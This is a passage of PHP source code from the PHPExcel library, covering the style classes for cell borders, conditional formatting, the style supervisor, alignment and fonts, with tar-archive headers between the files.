PHPExcel_Style_Border */ protected $left; /** * Right * * @var PHPExcel_Style_Border */ protected $right; /** * Top * * @var PHPExcel_Style_Border */ protected $top; /** * Bottom * * @var PHPExcel_Style_Border */ protected $bottom; /** * Diagonal * * @var PHPExcel_Style_Border */ protected $diagonal; /** * DiagonalDirection * * @var int */ protected $diagonalDirection; /** * All borders psedo-border. Only applies to supervisor. * * @var PHPExcel_Style_Border */ protected $allBorders; /** * Outline psedo-border. Only applies to supervisor. * * @var PHPExcel_Style_Border */ protected $outline; /** * Inside psedo-border. Only applies to supervisor. * * @var PHPExcel_Style_Border */ protected $inside; /** * Vertical pseudo-border. Only applies to supervisor. * * @var PHPExcel_Style_Border */ protected $vertical; /** * Horizontal pseudo-border. Only applies to supervisor. * * @var PHPExcel_Style_Border */ protected $horizontal; /** * Create a new PHPExcel_Style_Borders * * @param boolean $isSupervisor Flag indicating if this is a supervisor or not * Leave this value at default unless you understand exactly what * its ramifications are * @param boolean $isConditional Flag indicating if this is a conditional style or not * Leave this value at default unless you understand exactly what * its ramifications are */ public function __construct($isSupervisor = false, $isConditional = false) { // Supervisor? parent::__construct($isSupervisor); // Initialise values $this->left = new PHPExcel_Style_Border($isSupervisor, $isConditional); $this->right = new PHPExcel_Style_Border($isSupervisor, $isConditional); $this->top = new PHPExcel_Style_Border($isSupervisor, $isConditional); $this->bottom = new PHPExcel_Style_Border($isSupervisor, $isConditional); $this->diagonal = new PHPExcel_Style_Border($isSupervisor, $isConditional); $this->diagonalDirection = PHPExcel_Style_Borders::DIAGONAL_NONE; // Specially for supervisor if ($isSupervisor) { // Initialize pseudo-borders $this->allBorders = new PHPExcel_Style_Border(true); $this->outline = new PHPExcel_Style_Border(true); $this->inside = new PHPExcel_Style_Border(true); $this->vertical = new PHPExcel_Style_Border(true); $this->horizontal = new PHPExcel_Style_Border(true); // bind parent if we are a supervisor $this->left->bindParent($this, 'left'); $this->right->bindParent($this, 'right'); $this->top->bindParent($this, 'top'); $this->bottom->bindParent($this, 'bottom'); $this->diagonal->bindParent($this, 'diagonal'); $this->allBorders->bindParent($this, 'allBorders'); $this->outline->bindParent($this, 'outline'); $this->inside->bindParent($this, 'inside'); $this->vertical->bindParent($this, 'vertical'); $this->horizontal->bindParent($this, 'horizontal'); } } /** * Get the shared style component for the currently active cell in currently active sheet. * Only used for style supervisor * * @return PHPExcel_Style_Borders */ public function getSharedComponent() { return $this->parent->getSharedComponent()->getBorders(); } /** * Build style array from subcomponents * * @param array $array * @return array */ public function getStyleArray($array) { return array('borders' => $array); } /** * Apply styles from array * * <code> * $objPHPExcel->getActiveSheet()->getStyle('B2')->getBorders()->applyFromArray( * array( * 'bottom' => array( * 'style' => PHPExcel_Style_Border::BORDER_DASHDOT, * 'color' => array( * 'rgb' => '808080' * ) * ), * 'top' => array( * 'style' => PHPExcel_Style_Border::BORDER_DASHDOT, * 'color' => array( * 'rgb' => '808080' * ) * ) * ) * ); * </code> * <code> * $objPHPExcel->getActiveSheet()->getStyle('B2')->getBorders()->applyFromArray( * array( * 'allborders' => array( * 'style' => PHPExcel_Style_Border::BORDER_DASHDOT, * 'color' => array( * 'rgb' => '808080' * ) * ) * ) * ); * </code> * * @param array $pStyles Array containing style information * @throws PHPExcel_Exception * @return PHPExcel_Style_Borders */ public function applyFromArray($pStyles = null) { if (is_array($pStyles)) { if ($this->isSupervisor) { $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($this->getStyleArray($pStyles)); } else { if (array_key_exists('left', $pStyles)) { $this->getLeft()->applyFromArray($pStyles['left']); } if (array_key_exists('right', $pStyles)) { $this->getRight()->applyFromArray($pStyles['right']); } if (array_key_exists('top', $pStyles)) { $this->getTop()->applyFromArray($pStyles['top']); } if (array_key_exists('bottom', $pStyles)) { $this->getBottom()->applyFromArray($pStyles['bottom']); } if (array_key_exists('diagonal', $pStyles)) { $this->getDiagonal()->applyFromArray($pStyles['diagonal']); } if (array_key_exists('diagonaldirection', $pStyles)) { $this->setDiagonalDirection($pStyles['diagonaldirection']); } if (array_key_exists('allborders', $pStyles)) { $this->getLeft()->applyFromArray($pStyles['allborders']); $this->getRight()->applyFromArray($pStyles['allborders']); $this->getTop()->applyFromArray($pStyles['allborders']); $this->getBottom()->applyFromArray($pStyles['allborders']); } } } else { throw new PHPExcel_Exception("Invalid style array passed."); } return $this; } /** * Get Left * * @return PHPExcel_Style_Border */ public function getLeft() { return $this->left; } /** * Get Right * * @return PHPExcel_Style_Border */ public function getRight() { return $this->right; } /** * Get Top * * @return PHPExcel_Style_Border */ public function getTop() { return $this->top; } /** * Get Bottom * * @return PHPExcel_Style_Border */ public function getBottom() { return $this->bottom; } /** * Get Diagonal * * @return PHPExcel_Style_Border */ public function getDiagonal() { return $this->diagonal; } /** * Get AllBorders (pseudo-border). Only applies to supervisor. * * @return PHPExcel_Style_Border * @throws PHPExcel_Exception */ public function getAllBorders() { if (!$this->isSupervisor) { throw new PHPExcel_Exception('Can only get pseudo-border for supervisor.'); } return $this->allBorders; } /** * Get Outline (pseudo-border). Only applies to supervisor. * * @return boolean * @throws PHPExcel_Exception */ public function getOutline() { if (!$this->isSupervisor) { throw new PHPExcel_Exception('Can only get pseudo-border for supervisor.'); } return $this->outline; } /** * Get Inside (pseudo-border). Only applies to supervisor. * * @return boolean * @throws PHPExcel_Exception */ public function getInside() { if (!$this->isSupervisor) { throw new PHPExcel_Exception('Can only get pseudo-border for supervisor.'); } return $this->inside; } /** * Get Vertical (pseudo-border). Only applies to supervisor. * * @return PHPExcel_Style_Border * @throws PHPExcel_Exception */ public function getVertical() { if (!$this->isSupervisor) { throw new PHPExcel_Exception('Can only get pseudo-border for supervisor.'); } return $this->vertical; } /** * Get Horizontal (pseudo-border). Only applies to supervisor. * * @return PHPExcel_Style_Border * @throws PHPExcel_Exception */ public function getHorizontal() { if (!$this->isSupervisor) { throw new PHPExcel_Exception('Can only get pseudo-border for supervisor.'); } return $this->horizontal; } /** * Get DiagonalDirection * * @return int */ public function getDiagonalDirection() { if ($this->isSupervisor) { return $this->getSharedComponent()->getDiagonalDirection(); } return $this->diagonalDirection; } /** * Set DiagonalDirection * * @param int $pValue * @return PHPExcel_Style_Borders */ public function setDiagonalDirection($pValue = PHPExcel_Style_Borders::DIAGONAL_NONE) { if ($pValue == '') { $pValue = PHPExcel_Style_Borders::DIAGONAL_NONE; } if ($this->isSupervisor) { $styleArray = $this->getStyleArray(array('diagonaldirection' => $pValue)); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); } else { $this->diagonalDirection = $pValue; } return $this; } /** * Get hash code * * @return string Hash code */ public function getHashCode() { if ($this->isSupervisor) { return $this->getSharedComponent()->getHashcode(); } return md5( $this->getLeft()->getHashCode() . $this->getRight()->getHashCode() . $this->getTop()->getHashCode() . $this->getBottom()->getHashCode() . $this->getDiagonal()->getHashCode() . $this->getDiagonalDirection() . __CLASS__ ); } } PHPExcel/Style/Conditional.php 0000644 00000015413 14642534111 0012235 0 ustar 00 <?php /** * PHPExcel * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Style * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ /** * PHPExcel_Style_Conditional * * @category PHPExcel * @package PHPExcel_Style * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) */ class PHPExcel_Style_Conditional implements PHPExcel_IComparable { /* Condition types */ const CONDITION_NONE = 'none'; const CONDITION_CELLIS = 'cellIs'; const CONDITION_CONTAINSTEXT = 'containsText'; const CONDITION_EXPRESSION = 'expression'; /* Operator types */ const OPERATOR_NONE = ''; const OPERATOR_BEGINSWITH = 'beginsWith'; const OPERATOR_ENDSWITH = 'endsWith'; const OPERATOR_EQUAL = 'equal'; const OPERATOR_GREATERTHAN = 'greaterThan'; const OPERATOR_GREATERTHANOREQUAL = 'greaterThanOrEqual'; const OPERATOR_LESSTHAN = 'lessThan'; const OPERATOR_LESSTHANOREQUAL = 'lessThanOrEqual'; const OPERATOR_NOTEQUAL = 'notEqual'; const OPERATOR_CONTAINSTEXT = 'containsText'; const OPERATOR_NOTCONTAINS = 'notContains'; const OPERATOR_BETWEEN = 'between'; /** * Condition type * * @var int */ private $conditionType; /** * Operator type * * @var int */ private $operatorType; /** * Text * * @var string */ private $text; /** * Condition * * @var string[] */ private $condition = array(); /** * Style * * @var PHPExcel_Style */ private $style; /** * Create a new PHPExcel_Style_Conditional */ public function __construct() { // Initialise values $this->conditionType = PHPExcel_Style_Conditional::CONDITION_NONE; $this->operatorType = PHPExcel_Style_Conditional::OPERATOR_NONE; $this->text = null; $this->condition = array(); $this->style = new PHPExcel_Style(false, true); } /** * Get Condition type * * @return string */ public function getConditionType() { return $this->conditionType; } /** * Set Condition type * * @param string $pValue PHPExcel_Style_Conditional condition type * @return PHPExcel_Style_Conditional */ public function setConditionType($pValue = PHPExcel_Style_Conditional::CONDITION_NONE) { $this->conditionType = $pValue; return $this; } /** * Get Operator type * * @return string */ public function getOperatorType() { return $this->operatorType; } /** * Set Operator type * * @param string $pValue PHPExcel_Style_Conditional operator type * @return PHPExcel_Style_Conditional */ public function setOperatorType($pValue = PHPExcel_Style_Conditional::OPERATOR_NONE) { $this->operatorType = $pValue; return $this; } /** * Get text * * @return string */ public function getText() { return $this->text; } /** * Set text * * @param string $value * @return PHPExcel_Style_Conditional */ public function setText($value = null) { $this->text = $value; return $this; } /** * Get Condition * * @deprecated Deprecated, use getConditions instead * @return string */ public function getCondition() { if (isset($this->condition[0])) { return $this->condition[0]; } return ''; } /** * Set Condition * * @deprecated Deprecated, use setConditions instead * @param string $pValue Condition * @return PHPExcel_Style_Conditional */ public function setCondition($pValue = '') { if (!is_array($pValue)) { $pValue = array($pValue); } return $this->setConditions($pValue); } /** * Get Conditions * * @return string[] */ public function getConditions() { return $this->condition; } /** * Set Conditions * * @param string[] $pValue Condition * @return PHPExcel_Style_Conditional */ public function setConditions($pValue) { if (!is_array($pValue)) { $pValue = array($pValue); } $this->condition = $pValue; return $this; } /** * Add Condition * * @param string $pValue Condition * @return PHPExcel_Style_Conditional */ public function addCondition($pValue = '') { $this->condition[] = $pValue; return $this; } /** * Get Style * * @return PHPExcel_Style */ public function getStyle() { return $this->style; } /** * Set Style * * @param PHPExcel_Style $pValue * @throws PHPExcel_Exception * @return PHPExcel_Style_Conditional */ public function setStyle(PHPExcel_Style $pValue = null) { $this->style = $pValue; return $this; } /** * Get hash code * * @return string Hash code */ public function getHashCode() { return md5( $this->conditionType . $this->operatorType . implode(';', $this->condition) . $this->style->getHashCode() . __CLASS__ ); } /** * Implement PHP __clone to create a deep clone, not just a shallow copy. */ public function __clone() { $vars = get_object_vars($this); foreach ($vars as $key => $value) { if (is_object($value)) { $this->$key = clone $value; } else { $this->$key = $value; } } } } PHPExcel/Style/Supervisor.php 0000644 00000006556 14642534111 0012163 0 ustar 00 <?php /** * PHPExcel_Style_Supervisor * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Style * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ abstract class PHPExcel_Style_Supervisor { /** * Supervisor? * * @var boolean */ protected $isSupervisor; /** * Parent. Only used for supervisor * * @var PHPExcel_Style */ protected $parent; /** * Create a new PHPExcel_Style_Alignment * * @param boolean $isSupervisor Flag indicating if this is a supervisor or not * Leave this value at default unless you understand exactly what * its ramifications are */ public function __construct($isSupervisor = false) { // Supervisor? $this->isSupervisor = $isSupervisor; } /** * Bind parent. Only used for supervisor * * @param PHPExcel $parent * @return PHPExcel_Style_Supervisor */ public function bindParent($parent, $parentPropertyName = null) { $this->parent = $parent; return $this; } /** * Is this a supervisor or a cell style component? * * @return boolean */ public function getIsSupervisor() { return $this->isSupervisor; } /** * Get the currently active sheet. Only used for supervisor * * @return PHPExcel_Worksheet */ public function getActiveSheet() { return $this->parent->getActiveSheet(); } /** * Get the currently active cell coordinate in currently active sheet. * Only used for supervisor * * @return string E.g. 'A1' */ public function getSelectedCells() { return $this->getActiveSheet()->getSelectedCells(); } /** * Get the currently active cell coordinate in currently active sheet. * Only used for supervisor * * @return string E.g. 'A1' */ public function getActiveCell() { return $this->getActiveSheet()->getActiveCell(); } /** * Implement PHP __clone to create a deep clone, not just a shallow copy. */ public function __clone() { $vars = get_object_vars($this); foreach ($vars as $key => $value) { if ((is_object($value)) && ($key != 'parent')) { $this->$key = clone $value; } else { $this->$key = $value; } } } } PHPExcel/Style/Alignment.php 0000644 00000031641 14642534111 0011711 0 ustar 00 <?php /** * PHPExcel_Style_Alignment * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Style * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Style_Alignment extends PHPExcel_Style_Supervisor implements PHPExcel_IComparable { /* Horizontal alignment styles */ const HORIZONTAL_GENERAL = 'general'; const HORIZONTAL_LEFT = 'left'; const HORIZONTAL_RIGHT = 'right'; const HORIZONTAL_CENTER = 'center'; const HORIZONTAL_CENTER_CONTINUOUS = 'centerContinuous'; const HORIZONTAL_JUSTIFY = 'justify'; const HORIZONTAL_FILL = 'fill'; const HORIZONTAL_DISTRIBUTED = 'distributed'; // Excel2007 only /* Vertical alignment styles */ const VERTICAL_BOTTOM = 'bottom'; const VERTICAL_TOP = 'top'; const VERTICAL_CENTER = 'center'; const VERTICAL_JUSTIFY = 'justify'; const VERTICAL_DISTRIBUTED = 'distributed'; // Excel2007 only /* Read order */ const READORDER_CONTEXT = 0; const READORDER_LTR = 1; const READORDER_RTL = 2; /** * Horizontal alignment * * @var string */ protected $horizontal = PHPExcel_Style_Alignment::HORIZONTAL_GENERAL; /** * Vertical alignment * * @var string */ protected $vertical = PHPExcel_Style_Alignment::VERTICAL_BOTTOM; /** * Text rotation * * @var integer */ protected $textRotation = 0; /** * Wrap text * * @var boolean */ protected $wrapText = false; /** * Shrink to fit * * @var boolean */ protected $shrinkToFit = false; /** * Indent - only possible with horizontal alignment left and right * * @var integer */ protected $indent = 0; /** * Read order * * @var integer */ protected $readorder = 0; /** * Create a new PHPExcel_Style_Alignment * * @param boolean $isSupervisor Flag indicating if this is a supervisor or not * Leave this value at default unless you understand exactly what * its ramifications are * @param boolean $isConditional Flag indicating if this is a conditional style or not * Leave this value at default unless you understand exactly what * its ramifications are */ public function __construct($isSupervisor = false, $isConditional = false) { // Supervisor? parent::__construct($isSupervisor); if ($isConditional) { $this->horizontal = null; $this->vertical = null; $this->textRotation = null; } } /** * Get the shared style component for the currently active cell in currently active sheet. * Only used for style supervisor * * @return PHPExcel_Style_Alignment */ public function getSharedComponent() { return $this->parent->getSharedComponent()->getAlignment(); } /** * Build style array from subcomponents * * @param array $array * @return array */ public function getStyleArray($array) { return array('alignment' => $array); } /** * Apply styles from array * * <code> * $objPHPExcel->getActiveSheet()->getStyle('B2')->getAlignment()->applyFromArray( * array( * 'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER, * 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER, * 'rotation' => 0, * 'wrap' => TRUE * ) * ); * </code> * * @param array $pStyles Array containing style information * @throws PHPExcel_Exception * @return PHPExcel_Style_Alignment */ public function applyFromArray($pStyles = null) { if (is_array($pStyles)) { if ($this->isSupervisor) { $this->getActiveSheet()->getStyle($this->getSelectedCells()) ->applyFromArray($this->getStyleArray($pStyles)); } else { if (isset($pStyles['horizontal'])) { $this->setHorizontal($pStyles['horizontal']); } if (isset($pStyles['vertical'])) { $this->setVertical($pStyles['vertical']); } if (isset($pStyles['rotation'])) { $this->setTextRotation($pStyles['rotation']); } if (isset($pStyles['wrap'])) { $this->setWrapText($pStyles['wrap']); } if (isset($pStyles['shrinkToFit'])) { $this->setShrinkToFit($pStyles['shrinkToFit']); } if (isset($pStyles['indent'])) { $this->setIndent($pStyles['indent']); } if (isset($pStyles['readorder'])) { $this->setReadorder($pStyles['readorder']); } } } else { throw new PHPExcel_Exception("Invalid style array passed."); } return $this; } /** * Get Horizontal * * @return string */ public function getHorizontal() { if ($this->isSupervisor) { return $this->getSharedComponent()->getHorizontal(); } return $this->horizontal; } /** * Set Horizontal * * @param string $pValue * @return PHPExcel_Style_Alignment */ public function setHorizontal($pValue = PHPExcel_Style_Alignment::HORIZONTAL_GENERAL) { if ($pValue == '') { $pValue = PHPExcel_Style_Alignment::HORIZONTAL_GENERAL; } if ($this->isSupervisor) { $styleArray = $this->getStyleArray(array('horizontal' => $pValue)); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); } else { $this->horizontal = $pValue; } return $this; } /** * Get Vertical * * @return string */ public function getVertical() { if ($this->isSupervisor) { return $this->getSharedComponent()->getVertical(); } return $this->vertical; } /** * Set Vertical * * @param string $pValue * @return PHPExcel_Style_Alignment */ public function setVertical($pValue = PHPExcel_Style_Alignment::VERTICAL_BOTTOM) { if ($pValue == '') { $pValue = PHPExcel_Style_Alignment::VERTICAL_BOTTOM; } if ($this->isSupervisor) { $styleArray = $this->getStyleArray(array('vertical' => $pValue)); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); } else { $this->vertical = $pValue; } return $this; } /** * Get TextRotation * * @return int */ public function getTextRotation() { if ($this->isSupervisor) { return $this->getSharedComponent()->getTextRotation(); } return $this->textRotation; } /** * Set TextRotation * * @param int $pValue * @throws PHPExcel_Exception * @return PHPExcel_Style_Alignment */ public function setTextRotation($pValue = 0) { // Excel2007 value 255 => PHPExcel value -165 if ($pValue == 255) { $pValue = -165; } // Set rotation if (($pValue >= -90 && $pValue <= 90) || $pValue == -165) { if ($this->isSupervisor) { $styleArray = $this->getStyleArray(array('rotation' => $pValue)); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); } else { $this->textRotation = $pValue; } } else { throw new PHPExcel_Exception("Text rotation should be a value between -90 and 90."); } return $this; } /** * Get Wrap Text * * @return boolean */ public function getWrapText() { if ($this->isSupervisor) { return $this->getSharedComponent()->getWrapText(); } return $this->wrapText; } /** * Set Wrap Text * * @param boolean $pValue * @return PHPExcel_Style_Alignment */ public function setWrapText($pValue = false) { if ($pValue == '') { $pValue = false; } if ($this->isSupervisor) { $styleArray = $this->getStyleArray(array('wrap' => $pValue)); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); } else { $this->wrapText = $pValue; } return $this; } /** * Get Shrink to fit * * @return boolean */ public function getShrinkToFit() { if ($this->isSupervisor) { return $this->getSharedComponent()->getShrinkToFit(); } return $this->shrinkToFit; } /** * Set Shrink to fit * * @param boolean $pValue * @return PHPExcel_Style_Alignment */ public function setShrinkToFit($pValue = false) { if ($pValue == '') { $pValue = false; } if ($this->isSupervisor) { $styleArray = $this->getStyleArray(array('shrinkToFit' => $pValue)); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); } else { $this->shrinkToFit = $pValue; } return $this; } /** * Get indent * * @return int */ public function getIndent() { if ($this->isSupervisor) { return $this->getSharedComponent()->getIndent(); } return $this->indent; } /** * Set indent * * @param int $pValue * @return PHPExcel_Style_Alignment */ public function setIndent($pValue = 0) { if ($pValue > 0) { if ($this->getHorizontal() != self::HORIZONTAL_GENERAL && $this->getHorizontal() != self::HORIZONTAL_LEFT && $this->getHorizontal() != self::HORIZONTAL_RIGHT) { $pValue = 0; // indent not supported } } if ($this->isSupervisor) { $styleArray = $this->getStyleArray(array('indent' => $pValue)); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); } else { $this->indent = $pValue; } return $this; } /** * Get read order * * @return integer */ public function getReadorder() { if ($this->isSupervisor) { return $this->getSharedComponent()->getReadorder(); } return $this->readorder; } /** * Set read order * * @param int $pValue * @return PHPExcel_Style_Alignment */ public function setReadorder($pValue = 0) { if ($pValue < 0 || $pValue > 2) { $pValue = 0; } if ($this->isSupervisor) { $styleArray = $this->getStyleArray(array('readorder' => $pValue)); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); } else { $this->readorder = $pValue; } return $this; } /** * Get hash code * * @return string Hash code */ public function getHashCode() { if ($this->isSupervisor) { return $this->getSharedComponent()->getHashCode(); } return md5( $this->horizontal . $this->vertical . $this->textRotation . ($this->wrapText ? 't' : 'f') . ($this->shrinkToFit ? 't' : 'f') . $this->indent . $this->readorder . __CLASS__ ); } } PHPExcel/Style/Font.php 0000644 00000035227 14642534111 0010705 0 ustar 00 <?php /** * PHPExcel_Style_Font * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Style * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Style_Font extends PHPExcel_Style_Supervisor implements PHPExcel_IComparable { /* Underline types */ const UNDERLINE_NONE = 'none'; const UNDERLINE_DOUBLE = 'double'; const UNDERLINE_DOUBLEACCOUNTING = 'doubleAccounting'; const UNDERLINE_SINGLE = 'single'; const UNDERLINE_SINGLEACCOUNTING = 'singleAccounting'; /** * Font Name * * @var string */ protected $name = 'Calibri'; /** * Font Size * * @var float */ protected $size = 11; /** * Bold * * @var boolean */ protected $bold = false; /** * Italic * * @var boolean */ protected $italic = false; /** * Superscript * * @var boolean */ protected $superScript = false; /** * Subscript * * @var boolean */ protected $subScript = false; /** * Underline * * @var string */ protected $underline = self::UNDERLINE_NONE; /** * Strikethrough * * @var boolean */ protected $strikethrough = false; /** * Foreground color * * @var PHPExcel_Style_Color */ protected $color; /** * Create a new PHPExcel_Style_Font * * @param boolean $isSupervisor Flag indicating if this is a supervisor or not * Leave this value at default unless you understand exactly what * its ramifications are * @param boolean $isConditional Flag indicating if this is a conditional style or not * Leave this value at default unless you understand exactly what * its ramifications are */ public function __construct($isSupervisor = false, $isConditional = false) { // Supervisor? parent::__construct($isSupervisor); // Initialise values if ($isConditional) { $this->name = null; $this->size = null; $this->bold = null; $this->italic = null; $this->superScript = null; $this->subScript = null; $this->underline = null; $this->strikethrough = null; $this->color = new PHPExcel_Style_Color(PHPExcel_Style_Color::COLOR_BLACK, $isSupervisor, $isConditional); } else { $this->color = new PHPExcel_Style_Color(PHPExcel_Style_Color::COLOR_BLACK, $isSupervisor); } // bind parent if we are a supervisor if ($isSupervisor) { $this->color->bindParent($this, 'color'); } } /** * Get the shared style component for the currently active cell in currently active sheet. * Only used for style supervisor * * @return PHPExcel_Style_Font */ public function getSharedComponent() { return $this->parent->getSharedComponent()->getFont(); } /** * Build style array from subcomponents * * @param array $array * @return array */ public function getStyleArray($array) { return array('font' => $array); } /** * Apply styles from array * * <code> * $objPHPExcel->getActiveSheet()->getStyle('B2')->getFont()->applyFromArray( * array( * 'name' => 'Arial', * 'bold' => TRUE, * 'italic' => FALSE, * 'underline' => PHPExcel_Style_Font::UNDERLINE_DOUBLE, * 'strike' => FALSE, * 'color' => array( * 'rgb' => '808080' * ) * ) * ); * </code> * * @param array $pStyles Array containing style information * @throws PHPExcel_Exception * @return PHPExcel_Style_Font */ public function applyFromArray($pStyles = null) { if (is_array($pStyles)) { if ($this->isSupervisor) { $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($this->getStyleArray($pStyles)); } else { if (array_key_exists('name', $pStyles)) { $this->setName($pStyles['name']); } if (array_key_exists('bold', $pStyles)) { $this->setBold($pStyles['bold']); } if (array_key_exists('italic', $pStyles)) { $this->setItalic($pStyles['italic']); } if (array_key_exists('superScript', $pStyles)) { $this->setSuperScript($pStyles['superScript']); } if (array_key_exists('subScript', $pStyles)) { $this->setSubScript($pStyles['subScript']); } if (array_key_exists('underline', $pStyles)) { $this->setUnderline($pStyles['underline']); } if (array_key_exists('strike', $pStyles)) { $this->setStrikethrough($pStyles['strike']); } if (array_key_exists('color', $pStyles)) { $this->getColor()->applyFromArray($pStyles['color']); } if (array_key_exists('size', $pStyles)) { $this->setSize($pStyles['size']); } } } else { throw new PHPExcel_Exception("Invalid style array passed."); } return $this; } /** * Get Name * * @return string */ public function getName() { if ($this->isSupervisor) { return $this->getSharedComponent()->getName(); } return $this->name; } /** * Set Name * * @param string $pValue * @return PHPExcel_Style_Font */ public function setName($pValue = 'Calibri') { if ($pValue == '') { $pValue = 'Calibri'; } if ($this->isSupervisor) { $styleArray = $this->getStyleArray(array('name' => $pValue)); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); } else { $this->name = $pValue; } return $this; } /** * Get Size * * @return double */ public function getSize() { if ($this->isSupervisor) { return $this->getSharedComponent()->getSize(); } return $this->size; } /** * Set Size * * @param double $pValue * @return PHPExcel_Style_Font */ public function setSize($pValue = 10) { if ($pValue == '') { $pValue = 10; } if ($this->isSupervisor) { $styleArray = $this->getStyleArray(array('size' => $pValue)); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); } else { $this->size = $pValue; } return $this; } /** * Get Bold * * @return boolean */ public function getBold() { if ($this->isSupervisor) { return $this->getSharedComponent()->getBold(); } return $this->bold; } /** * Set Bold * * @param boolean $pValue * @return PHPExcel_Style_Font */ public function setBold($pValue = false) { if ($pValue == '') { $pValue = false; } if ($this->isSupervisor) { $styleArray = $this->getStyleArray(array('bold' => $pValue)); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); } else { $this->bold = $pValue; } return $this; } /** * Get Italic * * @return boolean */ public function getItalic() { if ($this->isSupervisor) { return $this->getSharedComponent()->getItalic(); } return $this->italic; } /** * Set Italic * * @param boolean $pValue * @return PHPExcel_Style_Font */ public function setItalic($pValue = false) { if ($pValue == '') { $pValue = false; } if ($this->isSupervisor) { $styleArray = $this->getStyleArray(array('italic' => $pValue)); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); } else { $this->italic = $pValue; } return $this; } /** * Get SuperScript * * @return boolean */ public function getSuperScript() { if ($this->isSupervisor) { return $this->getSharedComponent()->getSuperScript(); } return $this->superScript; } /** * Set SuperScript * * @param boolean $pValue * @return PHPExcel_Style_Font */ public function setSuperScript($pValue = false) { if ($pValue == '') { $pValue = false; } if ($this->isSupervisor) { $styleArray = $this->getStyleArray(array('superScript' => $pValue)); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); } else { $this->superScript = $pValue; $this->subScript = !$pValue; } return $this; } /** * Get SubScript * * @return boolean */ public function getSubScript() { if ($this->isSupervisor) { return $this->getSharedComponent()->getSubScript(); } return $this->subScript; } /** * Set SubScript * * @param boolean $pValue * @return PHPExcel_Style_Font */ public function setSubScript($pValue = false) { if ($pValue == '') { $pValue = false; } if ($this->isSupervisor) { $styleArray = $this->getStyleArray(array('subScript' => $pValue)); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); } else { $this->subScript = $pValue; $this->superScript = !$pValue; } return $this; } /** * Get Underline * * @return string */ public function getUnderline() { if ($this->isSupervisor) { return $this->getSharedComponent()->getUnderline(); } return $this->underline; } /** * Set Underline * * @param string|boolean $pValue PHPExcel_Style_Font underline type * If a boolean is passed, then TRUE equates to UNDERLINE_SINGLE, * false equates to UNDERLINE_NONE * @return 